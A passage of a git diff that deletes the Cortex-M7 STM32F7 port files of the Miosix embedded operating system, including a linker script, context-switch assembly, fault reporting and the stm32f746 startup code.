- * for compatibility with OSes with an MMU and paged memory. To see why this - * is bad, consider a microcontroller with 8KB of ram: when malloc finishes - * up the first 4KB it will call _sbrk_r asking for a 4KB block, but this will - * fail because the top part of the ram is used by the main stack. As a - * result, the top part of the memory will not be used by malloc, even if - * available (and it is nearly *half* the ram on an 8KB mcu). By placing the - * main stack at the bottom of the ram, the upper 4KB block will be entirely - * free and available as heap space. - * - * - In case of main stack overflow the cpu will fault because access to memory - * before the beginning of the ram faults. Instead with the default stack - * placement the main stack will silently collide with the heap. - * Note: if increasing the main stack size also increase the ORIGIN value in - * the MEMORY definitions below accordingly. - */ -_main_stack_size = 0x00000200; /* main stack = 512Bytes */ -_main_stack_top = 0x20000000 + _main_stack_size; -ASSERT(_main_stack_size % 8 == 0, "MAIN stack size error"); - -/* Mapping the heap into the bottom 128KB of the RAM */ -_heap_end = 0x20020000; -/* Mapping the process pool into the upper 512KB of the RAM */ -_process_pool_start = _heap_end; -_process_pool_end = 0x200a0000; /* end of available ram */ - -/* identify the Entry Point */ -ENTRY(_Z13Reset_Handlerv) - -/* specify the memory areas */ -MEMORY -{ - flash(rx) : ORIGIN = 0x08000000, LENGTH = 2M - /* - * Note, the ram starts at 0x20000000 but it is necessary to add the - * size of the main stack, so it is 0x20001000. - */ - ram(wx) : ORIGIN = 0x20000200, LENGTH = 128K-0x200 -} - -/* now define the output sections */ -SECTIONS -{ - . = 0; - - /* .text section: code goes to flash */ - .text : - { - /* Startup code must go at address 0 */ - KEEP(*(.isr_vector)) - - *(.text) - *(.text.*) - *(.gnu.linkonce.t.*) - /* these sections for thumb interwork? */ - *(.glue_7) - *(.glue_7t) - /* these sections for C++? */ - *(.gcc_except_table) - *(.gcc_except_table.*) - *(.ARM.extab*) - *(.gnu.linkonce.armextab.*) - - . = ALIGN(4); - /* .rodata: constant data */ - *(.rodata) - *(.rodata.*) - *(.gnu.linkonce.r.*) - - /* C++ Static constructors/destructors (eabi) */ - . = ALIGN(4); - KEEP(*(.init)) - - . = ALIGN(4); - __miosix_init_array_start = .; - KEEP (*(SORT(.miosix_init_array.*))) - KEEP (*(.miosix_init_array)) - __miosix_init_array_end = .; - - . = ALIGN(4); - __preinit_array_start = .; - KEEP (*(.preinit_array)) - __preinit_array_end = .; - - . = ALIGN(4); - __init_array_start = .; - KEEP (*(SORT(.init_array.*))) - KEEP (*(.init_array)) - __init_array_end = .; - - . = ALIGN(4); - KEEP(*(.fini)) - - . = ALIGN(4); - __fini_array_start = .; - KEEP (*(.fini_array)) - KEEP (*(SORT(.fini_array.*))) - __fini_array_end = .; - - /* C++ Static constructors/destructors (elf) */ - . = ALIGN(4); - _ctor_start = .; - KEEP (*crtbegin.o(.ctors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .ctors)) - KEEP (*(SORT(.ctors.*))) - KEEP (*crtend.o(.ctors)) - _ctor_end = .; - - . = ALIGN(4); - KEEP (*crtbegin.o(.dtors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .dtors)) - KEEP (*(SORT(.dtors.*))) - KEEP (*crtend.o(.dtors)) - } > flash - - /* .ARM.exidx is sorted, so has to go in its own output section. */ - __exidx_start = .; - .ARM.exidx : - { - *(.ARM.exidx* .gnu.linkonce.armexidx.*) - } > flash - __exidx_end = .; - - /* .data section: global variables go to ram, but also store a copy to - flash to initialize them */ - .data : ALIGN(8) - { - _data = .; - *(.data) - *(.data.*) - *(.gnu.linkonce.d.*) - . = ALIGN(8); - _edata = .; - } > ram AT > flash - _etext = LOADADDR(.data); - - /* .bss section: uninitialized global variables go to ram */ - _bss_start = .; - .bss : - { - *(.bss) - *(.bss.*) - *(.gnu.linkonce.b.*) - . = ALIGN(8); - } > ram - _bss_end = .; - - _end = .; - PROVIDE(end = .); -} diff --git a/miosix/arch/cortexM7_stm32f7/common/arch_settings.h b/miosix/arch/cortexM7_stm32f7/common/arch_settings.h deleted file mode 100644 index 01235ec6f..000000000 --- a/miosix/arch/cortexM7_stm32f7/common/arch_settings.h +++ /dev/null @@ -1,61 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2012-2021 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#pragma once - -namespace miosix { - -/** - * \addtogroup Settings - * \{ - */ - -/// \internal size of vector to store registers during ctx switch -/// ((10+16)*4=104Bytes). Only sp, r4-r11, EXC_RETURN and s16-s31 are saved -/// here, since r0-r3,r12,lr,pc,xPSR, old sp and s0-s15,fpscr are saved by -/// hardware on the process stack on Cortex M4F CPUs. EXC_RETURN, or the lr, -/// value to use to return from the exception is necessary to know if the -/// thread has used fp regs, as an extension specific to Cortex-M4F CPUs. -const unsigned char CTXSAVE_SIZE=10+16; - -/// \internal some architectures save part of the context on their stack. -/// ((8+17)*4=100Bytes). This constant is used to increase the stack size by -/// the size of context save frame. If zero, this architecture does not save -/// anything on stack during context save. Size is in bytes, not words. -/// 8 registers=r0-r3,r12,lr,pc,xPSR -/// 17 registers=s0-s15,fpscr -/// MUST be divisible by 4. -const unsigned int CTXSAVE_ON_STACK=(8+17)*4; - -/// \internal stack alignment for this specific architecture -const unsigned int CTXSAVE_STACK_ALIGNMENT=8; - -/** - * \} - */ - -} //namespace miosix diff --git a/miosix/arch/cortexM7_stm32f7/common/interfaces-impl/delays.cpp b/miosix/arch/cortexM7_stm32f7/common/interfaces-impl/delays.cpp deleted file mode 100644 index 4c99619e9..000000000 --- a/miosix/arch/cortexM7_stm32f7/common/interfaces-impl/delays.cpp +++ /dev/null @@ -1,66 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2010-2024 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#include "interfaces/delays.h" - -namespace miosix { - -void delayMs(unsigned int mseconds) -{ - //Note: flash wait state don't matter because of icache - #ifdef SYSCLK_FREQ_216MHz - register const unsigned int count=216000; - #else - #warning "Delays are uncalibrated for this clock frequency" - #endif - - for(unsigned int i=0;i * - ***************************************************************************/ - -#ifndef GPIO_IMPL_H -#define GPIO_IMPL_H - -#include "drivers/stm32_gpio.h" - -#endif //GPIO_IMPL_H diff --git a/miosix/arch/cortexM7_stm32f7/common/interfaces-impl/portability.cpp b/miosix/arch/cortexM7_stm32f7/common/interfaces-impl/portability.cpp deleted file mode 100644 index 416a7e929..000000000 --- a/miosix/arch/cortexM7_stm32f7/common/interfaces-impl/portability.cpp +++ /dev/null @@ -1,255 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2010-2021 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#include "interfaces/portability.h" -#include "kernel/kernel.h" -#include "kernel/error.h" -#include "interfaces/bsp.h" -#include "kernel/scheduler/scheduler.h" -#include "core/interrupts.h" -#include "kernel/process.h" -#include -#include -#include -#include - -/** - * \internal - * software interrupt routine. - * Since inside naked functions only assembler code is allowed, this function - * only calls the ctxsave/ctxrestore macros (which are in assembler), and calls - * the implementation code in ISR_yield() - */ -void SVC_Handler() __attribute__((naked)); -void SVC_Handler() -{ - saveContext(); - //Call ISR_yield(). Name is a C++ mangled name. - asm volatile("bl _ZN14miosix_private9ISR_yieldEv"); - restoreContext(); -} - -namespace miosix_private { - -/** - * \internal - * Called by the software interrupt, yield to next thread - * Declared noinline to avoid the compiler trying to inline it into the caller, - * which would violate the requirement on naked functions. Function is not - * static because otherwise the compiler optimizes it out... - */ -void ISR_yield() __attribute__((noinline)); -void ISR_yield() -{ - #ifdef WITH_PROCESSES - // WARNING: Temporary fix. Rationale: - // This fix is intended to avoid kernel or process faulting due to - // another process actions. Consider the case in which a process statically - // allocates a big array such that there is no space left for saving - // context data. If the process issues a system call, in the following - // interrupt the context is saved, but since there is no memory available - // for all the context data, a mem manage interrupt is set to 'pending'. Then, - // a fake syscall is issued, based on the value read on the stack (which - // the process hasn't set due to the memory fault and is likely to be 0); - // this syscall is usually a yield (due to the value of 0 above), - // which can cause the scheduling of the kernel thread. At this point, - // the pending mem fault is issued from the kernel thread, causing the - // kernel fault and reboot. This is caused by the mem fault interrupt - // having less priority of the other interrupts. - // This fix checks if there is a mem fault interrupt pending, and, if so, - // it clears it and returns before calling the previously mentioned fake - // syscall. - if(SCB->SHCSR & (1<<13)) - { - if(miosix::Thread::IRQreportFault(miosix_private::FaultData( - fault::MP,0,0))) - { - SCB->SHCSR &= ~(1<<13); //Clear MEMFAULTPENDED bit - return; - } - } - #endif // WITH_PROCESSES - miosix::Thread::IRQstackOverflowCheck(); - - #ifdef WITH_PROCESSES - //If processes are enabled, check the content of r3. If zero then it - //it is a simple yield, otherwise handle the syscall - //Note that it is required to use ctxsave and not cur->ctxsave because - //at this time we do not know if the active context is user or kernel - unsigned int threadSp=ctxsave[0]; - unsigned int *processStack=reinterpret_cast(threadSp); - if(processStack[3]!=static_cast(miosix::Syscall::YIELD)) - miosix::Thread::IRQhandleSvc(processStack[3]); - else miosix::Scheduler::IRQfindNextThread(); - #else //WITH_PROCESSES - miosix::Scheduler::IRQfindNextThread(); - #endif //WITH_PROCESSES -} - -void IRQsystemReboot() -{ - NVIC_SystemReset(); -} - -void initCtxsave(unsigned int *ctxsave, void *(*pc)(void *), unsigned int *sp, - void *argv) -{ - unsigned int *stackPtr=sp; - stackPtr--; //Stack is full descending, so decrement first - *stackPtr=0x01000000; stackPtr--; //--> xPSR - *stackPtr=reinterpret_cast( - &miosix::Thread::threadLauncher); stackPtr--; //--> pc - *stackPtr=0xffffffff; stackPtr--; //--> lr - *stackPtr=0; stackPtr--; //--> r12 - *stackPtr=0; stackPtr--; //--> r3 - *stackPtr=0; stackPtr--; //--> r2 - *stackPtr=reinterpret_cast(argv); stackPtr--; //--> r1 - *stackPtr=reinterpret_cast(pc); //--> r0 - - ctxsave[0]=reinterpret_cast(stackPtr); //--> psp - //leaving the content of r4-r11 uninitialized - ctxsave[9]=0xfffffffd; //EXC_RETURN=thread mode, use psp, no floating ops - //leaving the content of s16-s31 uninitialized -} - -#ifdef WITH_PROCESSES - -// -// class FaultData -// - -void FaultData::print() const -{ - using namespace fault; - switch(id) - { - case MP: - iprintf("* Attempted data access @ 0x%x (PC was 0x%x)\n",arg,pc); - break; - case MP_NOADDR: - iprintf("* Invalid data access (PC was 0x%x)\n",pc); - break; - case MP_XN: - iprintf("* Attempted instruction fetch @ 0x%x\n",pc); - break; - case UF_DIVZERO: - iprintf("* Dvide by zero (PC was 0x%x)\n",pc); - break; - case UF_UNALIGNED: - iprintf("* Unaligned memory access (PC was 0x%x)\n",pc); - break; - case UF_COPROC: - iprintf("* Attempted coprocessor access (PC was 0x%x)\n",pc); - break; - case UF_EXCRET: - iprintf("* Invalid exception return sequence (PC was 0x%x)\n",pc); - break; - case UF_EPSR: - iprintf("* Attempted access to the EPSR (PC was 0x%x)\n",pc); - break; - case UF_UNDEF: - iprintf("* Undefined instruction (PC was 0x%x)\n",pc); - break; - case UF_UNEXP: - iprintf("* Unexpected usage fault (PC was 0x%x)\n",pc); - break; - case HARDFAULT: - iprintf("* Hardfault (PC was 0x%x)\n",pc); - break; - case BF: - iprintf("* Busfault @ 0x%x (PC was 0x%x)\n",arg,pc); - break; - case BF_NOADDR: - iprintf("* Busfault (PC was 0x%x)\n",pc); - break; - case STACKOVERFLOW: - iprintf("* Stack overflow\n"); - break; - } -} - -void initCtxsave(unsigned int *ctxsave, void *(*pc)(void *), int argc, - void *argvSp, void *envp, unsigned int *gotBase, unsigned int *heapEnd) -{ - unsigned int *stackPtr=reinterpret_cast(argvSp); - stackPtr--; //Stack is full descending, so decrement first - *stackPtr=0x01000000; stackPtr--; //--> xPSR - *stackPtr=reinterpret_cast(pc); stackPtr--; //--> pc - *stackPtr=0xffffffff; stackPtr--; //--> lr - *stackPtr=0; stackPtr--; //--> r12 - *stackPtr=reinterpret_cast(heapEnd); stackPtr--; //--> r3 - *stackPtr=reinterpret_cast(envp); stackPtr--; //--> r2 - *stackPtr=reinterpret_cast(argvSp); stackPtr--; //--> r1 - *stackPtr=argc; //--> r0 - - ctxsave[0]=reinterpret_cast(stackPtr); //--> psp - ctxsave[6]=reinterpret_cast(gotBase); //--> r9 - //leaving the content of r4-r8,r10-r11 uninitialized - ctxsave[9]=0xfffffffd; //EXC_RETURN=thread mode, use psp, no floating ops - //leaving the content of s16-s31 uninitialized -} - -#endif //WITH_PROCESSES - -void IRQportableStartKernel() -{ - //Enable fault handlers - SCB->SHCSR |= SCB_SHCSR_USGFAULTENA_Msk | SCB_SHCSR_BUSFAULTENA_Msk - | SCB_SHCSR_MEMFAULTENA_Msk; - //Enable traps for division by zero. Trap for unaligned memory access - //was removed as gcc starting from 4.7.2 generates unaligned accesses by - //default (https://www.gnu.org/software/gcc/gcc-4.7/changes.html) - SCB->CCR |= SCB_CCR_DIV_0_TRP_Msk; - NVIC_SetPriorityGrouping(7);//This should disable interrupt nesting - NVIC_SetPriority(SVCall_IRQn,3);//High priority for SVC (Max=0, min=15) - NVIC_SetPriority(MemoryManagement_IRQn,2);//Higher priority for MemoryManagement (Max=0, min=15) - - #ifdef WITH_PROCESSES - //NOTE: if caches are enabled, the MPU will be enabled also if processes are - //not enabled, so this is here for the rare configuration of caches disabled - //but processes enabled - miosix::IRQenableMPUatBoot(); - #endif //WITH_PROCESSES - - //create a temporary space to save current registers. This data is useless - //since there's no way to stop the sheduler, but we need to save it anyway. - unsigned int s_ctxsave[miosix::CTXSAVE_SIZE]; - ctxsave=s_ctxsave;//make global ctxsave point to it - //Note, we can't use enableInterrupts() now since the call is not matched - //by a call to disableInterrupts() - __enable_fault_irq(); - __enable_irq(); - miosix::Thread::yield(); - //Never reaches here -} - -void sleepCpu() -{ - __WFI(); -} - -} //namespace miosix_private diff --git a/miosix/arch/cortexM7_stm32f7/common/interfaces-impl/portability_impl.h b/miosix/arch/cortexM7_stm32f7/common/interfaces-impl/portability_impl.h deleted file mode 100644 index b37f5ca2f..000000000 --- a/miosix/arch/cortexM7_stm32f7/common/interfaces-impl/portability_impl.h +++ /dev/null @@ -1,209 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2010, 2011, 2012 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ -//Miosix kernel - -#ifndef PORTABILITY_IMPL_H -#define PORTABILITY_IMPL_H - -#include "interfaces/arch_registers.h" -#include "interfaces/portability.h" -#include "config/miosix_settings.h" -#include - -/** - * \addtogroup Drivers - * \{ - */ - -/* - * This pointer is used by the kernel, and should not be used by end users. - * this is a pointer to a location where to store the thread's registers during - * context switch. It requires C linkage to be used inside asm statement. - * Registers are saved in the following order: - * *ctxsave+100 --> s31 - * ... - * *ctxsave+40 --> s16 - * *ctxsave+36 --> lr (contains EXC_RETURN whose bit #4 tells if fpu is used) - * *ctxsave+32 --> r11 - * *ctxsave+28 --> r10 - * *ctxsave+24 --> r9 - * *ctxsave+20 --> r8 - * *ctxsave+16 --> r7 - * *ctxsave+12 --> r6 - * *ctxsave+8 --> r5 - * *ctxsave+4 --> r4 - * *ctxsave+0 --> psp - */ -extern "C" { -extern volatile unsigned int *ctxsave; -} -const int stackPtrOffsetInCtxsave=0; ///< Allows to locate the stack pointer - -/** - * \internal - * \def saveContext() - * Save context from an interrupt
- * Must be the first line of an IRQ where a context switch can happen. - * The IRQ must be "naked" to prevent the compiler from generating context save. - * - * A note on the dmb instruction, without it a race condition was observed - * between pauseKernel() and IRQfindNextThread(). pauseKernel() uses an strex - * instruction to store a value in the global variable kernel_running which is - * tested by the context switch code in IRQfindNextThread(). Without the memory - * barrier IRQfindNextThread() would occasionally read the previous value and - * perform a context switch while the kernel was paused, leading to deadlock. - * The failure was only observed within the exception_test() in the testsuite - * running on the stm32f429zi_stm32f4discovery. - */ -#define saveContext() \ - asm volatile(" mrs r1, psp \n"/*get PROCESS stack ptr */ \ - " ldr r0, =ctxsave \n"/*get current context */ \ - " ldr r0, [r0] \n" \ - " stmia r0!, {r1,r4-r11,lr} \n"/*save r1(psp),r4-r11,lr */ \ - " lsls r2, lr, #27 \n"/*check if bit #4 is set */ \ - " bmi 0f \n" \ - " vstmia.32 r0, {s16-s31} \n"/*save s16-s31 if we need*/ \ - "0: dmb \n" \ - ); - -/** - * \def restoreContext() - * Restore context in an IRQ where saveContext() is used. Must be the last line - * of an IRQ where a context switch can happen. The IRQ must be "naked" to - * prevent the compiler from generating context restore. - */ -#define restoreContext() \ - asm volatile(" ldr r0, =ctxsave \n"/*get current context */ \ - " ldr r0, [r0] \n" \ - " ldmia r0!, {r1,r4-r11,lr} \n"/*load r1(psp),r4-r11,lr */ \ - " lsls r2, lr, #27 \n"/*check if bit #4 is set */ \ - " bmi 0f \n" \ - " vldmia.32 r0, {s16-s31} \n"/*restore s16-s31 if need*/ \ - "0: msr psp, r1 \n"/*restore PROCESS sp*/ \ - " bx lr \n"/*return*/ \ - ); - -/** - * \} - */ - -namespace miosix_private { - -/** - * \addtogroup Drivers - * \{ - */ - -inline void doYield() -{ - asm volatile("movs r3, #0\n\t" - "svc 0" - :::"r3"); -} - -inline void doDisableInterrupts() -{ - // Documentation says __disable_irq() disables all interrupts with - // configurable priority, so also SysTick and SVC. - // No need to disable faults with __disable_fault_irq() - __disable_irq(); - //The new fastDisableInterrupts/fastEnableInterrupts are inline, so there's - //the need for a memory barrier to avoid aggressive reordering - asm volatile("":::"memory"); -} - -inline void doEnableInterrupts() -{ - __enable_irq(); - //The new fastDisableInterrupts/fastEnableInterrupts are inline, so there's - //the need for a memory barrier to avoid aggressive reordering - asm volatile("":::"memory"); -} - -inline bool checkAreInterruptsEnabled() -{ - register int i; - asm volatile("mrs %0, primask \n\t":"=r"(i)); - if(i!=0) return false; - return true; -} - -#ifdef WITH_PROCESSES - -namespace { -/* - * ARM syscall parameter mapping - * Syscall id is r3, saved at registers[3] - * - * Parameter 1 is r0, saved at registers[0] - * Parameter 2 is r1, saved at registers[1] - * Parameter 3 is r2, saved at registers[2] - * Parameter 4 is r12, saved at registers[4] - */ -constexpr unsigned int armSyscallMapping[]={0,1,2,4}; -} - -// -// class SyscallParameters -// - -inline SyscallParameters::SyscallParameters(unsigned int *context) : - registers(reinterpret_cast(context[0])) {} - -inline int SyscallParameters::getSyscallId() const -{ - return registers[3]; -} - -inline unsigned int SyscallParameters::getParameter(unsigned int index) const -{ - assert(index<4); - return registers[armSyscallMapping[index]]; -} - -inline void SyscallParameters::setParameter(unsigned int index, unsigned int value) -{ - assert(index<4); - registers[armSyscallMapping[index]]=value; -} - -inline void portableSwitchToUserspace() -{ - asm volatile("movs r3, #1\n\t" - "svc 0" - :::"r3"); -} - -#endif //WITH_PROCESSES - -/** - * \} - */ - -} //namespace miosix_private - -#endif //PORTABILITY_IMPL_H diff --git a/miosix/arch/cortexM7_stm32f7/stm32f746zg_nucleo/core/stage_1_boot.cpp b/miosix/arch/cortexM7_stm32f7/stm32f746zg_nucleo/core/stage_1_boot.cpp deleted file mode 100644 index 79d1483ff..000000000 --- a/miosix/arch/cortexM7_stm32f7/stm32f746zg_nucleo/core/stage_1_boot.cpp +++ /dev/null @@ -1,429 +0,0 @@ - -#include "interfaces/arch_registers.h" -#include "core/interrupts.h" //For the unexpected interrupt call -#include "core/cache_cortexMx.h" -#include "kernel/stage_2_boot.h" -#include - -/* - * startup.cpp - * STM32 C++ startup. - * NOTE: for stm32f746 devices ONLY. - * Supports interrupt handlers in C++ without extern "C" - * Developed by Terraneo Federico, based on ST startup code. - * Additionally modified to boot Miosix. - */ - -/** - * Called by Reset_Handler, performs initialization and calls main. - * Never returns. - */ -void program_startup() __attribute__((noreturn)); -void program_startup() -{ - //Cortex M3 core appears to get out of reset with interrupts already enabled - __disable_irq(); - - //SystemInit() is called *before* initializing .data and zeroing .bss - //Despite all startup files provided by ST do the opposite, there are three - //good reasons to do so: - //First, the CMSIS specifications say that SystemInit() must not access - //global variables, so it is actually possible to call it before - //Second, when running Miosix with the xram linker scripts .data and .bss - //are placed in the external RAM, so we *must* call SystemInit(), which - //enables xram, before touching .data and .bss - //Third, this is a performance improvement since the loops that initialize - //.data and zeros .bss now run with the CPU at full speed instead of 8MHz - SystemInit(); - - miosix::IRQconfigureCache(); - - //These are defined in the linker script - extern unsigned char _etext asm("_etext"); - extern unsigned char _data asm("_data"); - extern unsigned char _edata asm("_edata"); - extern unsigned char _bss_start asm("_bss_start"); - extern unsigned char _bss_end asm("_bss_end"); - - //Initialize .data section, clear .bss section - unsigned char *etext=&_etext; - unsigned char *data=&_data; - unsigned char *edata=&_edata; - unsigned char *bss_start=&_bss_start; - unsigned char *bss_end=&_bss_end; - memcpy(data, etext, edata-data); - memset(bss_start, 0, bss_end-bss_start); - - //Move on to stage 2 - _init(); - - //If main returns, reboot - NVIC_SystemReset(); - for(;;) ; -} - -/** - * Reset handler, called by hardware immediately after reset - */ -void Reset_Handler() __attribute__((__interrupt__, noreturn)); -void Reset_Handler() -{ - /* - * Initialize process stack and switch to it. - * This is required for booting Miosix, a small portion of the top of the - * heap area will be used as stack until the first thread starts. After, - * this stack will be abandoned and the process stack will point to the - * current thread's stack. - */ - asm volatile("ldr r0, =_heap_end \n\t" - "msr psp, r0 \n\t" - "movw r0, #2 \n\n" //Privileged, process stack - "msr control, r0 \n\t" - "isb \n\t":::"r0"); - - program_startup(); -} - -/** - * All unused interrupts call this function. - */ -extern "C" void Default_Handler() -{ - unexpectedInterrupt(); -} - -//System handlers -void /*__attribute__((weak))*/ Reset_Handler(); //These interrupts are not -void /*__attribute__((weak))*/ NMI_Handler(); //weak because they are -void /*__attribute__((weak))*/ HardFault_Handler(); //surely defined by Miosix -void /*__attribute__((weak))*/ MemManage_Handler(); -void /*__attribute__((weak))*/ BusFault_Handler(); -void /*__attribute__((weak))*/ UsageFault_Handler(); -void /*__attribute__((weak))*/ SVC_Handler(); -void /*__attribute__((weak))*/ DebugMon_Handler(); -void /*__attribute__((weak))*/ PendSV_Handler(); -void __attribute__((weak)) SysTick_Handler(); - -//Interrupt handlers -void __attribute__((weak)) WWDG_IRQHandler(); -void __attribute__((weak)) PVD_IRQHandler(); -void __attribute__((weak)) TAMP_STAMP_IRQHandler(); -void __attribute__((weak)) RTC_WKUP_IRQHandler(); -void __attribute__((weak)) FLASH_IRQHandler(); -void __attribute__((weak)) RCC_IRQHandler(); -void __attribute__((weak)) EXTI0_IRQHandler(); -void __attribute__((weak)) EXTI1_IRQHandler(); -void __attribute__((weak)) EXTI2_IRQHandler(); -void __attribute__((weak)) EXTI3_IRQHandler(); -void __attribute__((weak)) EXTI4_IRQHandler(); -void __attribute__((weak)) DMA1_Stream0_IRQHandler(); -void __attribute__((weak)) DMA1_Stream1_IRQHandler(); -void __attribute__((weak)) DMA1_Stream2_IRQHandler(); -void __attribute__((weak)) DMA1_Stream3_IRQHandler(); -void __attribute__((weak)) DMA1_Stream4_IRQHandler(); -void __attribute__((weak)) DMA1_Stream5_IRQHandler(); -void __attribute__((weak)) DMA1_Stream6_IRQHandler(); -void __attribute__((weak)) ADC_IRQHandler(); -void __attribute__((weak)) CAN1_TX_IRQHandler(); -void __attribute__((weak)) CAN1_RX0_IRQHandler(); -void __attribute__((weak)) CAN1_RX1_IRQHandler(); -void __attribute__((weak)) CAN1_SCE_IRQHandler(); -void __attribute__((weak)) EXTI9_5_IRQHandler(); -void __attribute__((weak)) TIM1_BRK_TIM9_IRQHandler(); -void __attribute__((weak)) TIM1_UP_TIM10_IRQHandler(); -void __attribute__((weak)) TIM1_TRG_COM_TIM11_IRQHandler(); -void __attribute__((weak)) TIM1_CC_IRQHandler(); -void __attribute__((weak)) TIM2_IRQHandler(); -void __attribute__((weak)) TIM3_IRQHandler(); -void __attribute__((weak)) TIM4_IRQHandler(); -void __attribute__((weak)) I2C1_EV_IRQHandler(); -void __attribute__((weak)) I2C1_ER_IRQHandler(); -void __attribute__((weak)) I2C2_EV_IRQHandler(); -void __attribute__((weak)) I2C2_ER_IRQHandler(); -void __attribute__((weak)) SPI1_IRQHandler(); -void __attribute__((weak)) SPI2_IRQHandler(); -void __attribute__((weak)) USART1_IRQHandler(); -void __attribute__((weak)) USART2_IRQHandler(); -void __attribute__((weak)) USART3_IRQHandler(); -void __attribute__((weak)) EXTI15_10_IRQHandler(); -void __attribute__((weak)) RTC_Alarm_IRQHandler(); -void __attribute__((weak)) OTG_FS_WKUP_IRQHandler(); -void __attribute__((weak)) TIM8_BRK_TIM12_IRQHandler(); -void __attribute__((weak)) TIM8_UP_TIM13_IRQHandler(); -void __attribute__((weak)) TIM8_TRG_COM_TIM14_IRQHandler(); -void __attribute__((weak)) TIM8_CC_IRQHandler(); -void __attribute__((weak)) DMA1_Stream7_IRQHandler(); -void __attribute__((weak)) FMC_IRQHandler(); -void __attribute__((weak)) SDMMC1_IRQHandler(); -void __attribute__((weak)) TIM5_IRQHandler(); -void __attribute__((weak)) SPI3_IRQHandler(); -void __attribute__((weak)) UART4_IRQHandler(); -void __attribute__((weak)) UART5_IRQHandler(); -void __attribute__((weak)) TIM6_DAC_IRQHandler(); -void __attribute__((weak)) TIM7_IRQHandler(); -void __attribute__((weak)) DMA2_Stream0_IRQHandler(); -void __attribute__((weak)) DMA2_Stream1_IRQHandler(); -void __attribute__((weak)) DMA2_Stream2_IRQHandler(); -void __attribute__((weak)) DMA2_Stream3_IRQHandler(); -void __attribute__((weak)) DMA2_Stream4_IRQHandler(); -void __attribute__((weak)) ETH_IRQHandler(); -void __attribute__((weak)) ETH_WKUP_IRQHandler(); -void __attribute__((weak)) CAN2_TX_IRQHandler(); -void __attribute__((weak)) CAN2_RX0_IRQHandler(); -void __attribute__((weak)) CAN2_RX1_IRQHandler(); -void __attribute__((weak)) CAN2_SCE_IRQHandler(); -void __attribute__((weak)) OTG_FS_IRQHandler(); -void __attribute__((weak)) DMA2_Stream5_IRQHandler(); -void __attribute__((weak)) DMA2_Stream6_IRQHandler(); -void __attribute__((weak)) DMA2_Stream7_IRQHandler(); -void __attribute__((weak)) USART6_IRQHandler(); -void __attribute__((weak)) I2C3_EV_IRQHandler(); -void __attribute__((weak)) I2C3_ER_IRQHandler(); -void __attribute__((weak)) OTG_HS_EP1_OUT_IRQHandler(); -void __attribute__((weak)) OTG_HS_EP1_IN_IRQHandler(); -void __attribute__((weak)) OTG_HS_WKUP_IRQHandler(); -void __attribute__((weak)) OTG_HS_IRQHandler(); -void __attribute__((weak)) DCMI_IRQHandler(); -void __attribute__((weak)) RNG_IRQHandler(); -void __attribute__((weak)) FPU_IRQHandler(); -void __attribute__((weak)) UART7_IRQHandler(); -void __attribute__((weak)) UART8_IRQHandler(); -void __attribute__((weak)) SPI4_IRQHandler(); -void __attribute__((weak)) SPI5_IRQHandler(); -void __attribute__((weak)) SPI6_IRQHandler(); -void __attribute__((weak)) SAI1_IRQHandler(); -void __attribute__((weak)) LTDC_IRQHandler(); -void 